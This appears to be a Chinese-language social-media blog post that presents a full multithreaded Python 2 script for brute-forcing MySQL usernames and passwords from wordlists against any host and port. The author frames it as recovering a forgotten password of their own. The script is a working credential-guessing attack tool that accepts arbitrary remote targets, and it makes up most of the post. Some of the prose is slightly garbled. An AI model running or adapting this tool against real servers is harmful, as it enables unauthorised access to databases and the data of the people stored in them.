用Python寫了個工具，完美破解了MySQL

Python與AI社區 昨天

下班日常想登錄MySQL數據庫，很遺憾，我忘記了MySQL數據庫的用戶和密碼。我辦？使用安全模式？我想每個人都應該知道這樣一種傳統的方式！今天，讓我們來做個改變，就是用Python寫一個工具來破解MySQL，看看能不能破解出MySQL的用戶和密碼。

爆破劇本

這次寫的爆破MySQL的Python腳本使用了Python中的多線程編程，並且導入了MySQLdb模塊。運行時，腳本分別接收如下五個參數：

1. 待破解的ip/domain：例如127.0.0.1
2. 端口：例如3306
3. 數據庫：例如測試
4. 用戶名列表文件：例如user.txt文件
5. 密碼列表文件：例如password.txt文件

下面給出完整的腳本代碼：

```
#!/usr/bin/env python
# -*- coding: gbk -*-
```

```python
# -*- coding: utf-8 -*-
# Date: 2021/07/25
# Created by 盟主
# Description MySQL暴力破解工具多线程版
import os, sys, re, socket, time
from functools import partial
from multiprocessing.dummy import Pool as ThreadPool

try:
    import MySQLdb
except ImportError:
    print '\n[!] MySQLdb模块导入错误,请到下面网址下载：'
    print '[!] http://www.codegood.com/archives/129'
    exit()


def usage():
    print '+' + '-' * 50 + '+'
    print '\t   Python MySQL暴力破解工具多线程版'
    print '\t   微信公众号：Python联盟'
    print '\t\t Code BY： 盟主'
    print '\t\t Time：2021-06-30'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 6:
        print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表"
        print "实例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1  3306  test user.txt pass.txt"
        sys.exit()
```

```
30
31
32  def mysql_brute(user, password):
33      "mysql数据库破解函数"
34      db = None
35      try:
36          # print "user:", user, "password:", password
37          db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
38          # print '[+] 破解成功：', user, password
39          result.append('用户名：' + user + "\t密码：" + password)
40      except KeyboardInterrupt:
41          print '已成功退出程序!'
42          exit()
43      except MySQLdb.Error, msg:
44          print '程序出错,错误信息为:', msg
45          pass
46      finally:
47          if db:
48              db.close()
49
50
51  if __name__ == '__main__':
52      usage()
53      start_time = time.time()
54      if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
55          host = sys.argv[1]
56      else:
```

```
        host = socket.gethostbyname(sys.argv[1])
    userlist = [i.rstrip() for i in open(sys.argv[4])]
    passlist = [j.rstrip() for j in open(sys.argv[5])]
    print '\n[+] 目  标：%s \n' % sys.argv[1]
    print '[+] 用户名：%d 条\n' % len(userlist)
    print '[+] 密  码：%d 条\n' % len(passlist)
    print '[!] 密码破解中,请稍候……\n'
    result = []

    for user in userlist:
        partial_user = partial(mysql_brute, user)
        pool = ThreadPool(10)
        pool.map(partial_user, passlist)
        pool.close()
        pool.join()
    if len(result) != 0:
        print '[+] MySQL密码破解成功!\n'
        for x in {}.fromkeys(result).keys():
            print x + '\n'
    else:
        print '[-] MySQL密码破解失败!\n'
    print '[+] 破解完成，用时： %d 秒' % (time.time() - start_time)
```

腳本寫完成後，運行，等待了心情，將我的MySQL的用戶和密碼完美的破解出來了。

如果覺得文章不錯，點贊、在看、評論，分享走一波~

結尾

推荐一個專業吃瓜的公眾號：

架構師項目精選

架構師項目精選，專注分享架構技術乾貨，企業架構、系統架構、網站架構、內部架構，以及各種編程優質項目，包括java、python、算...

公眾號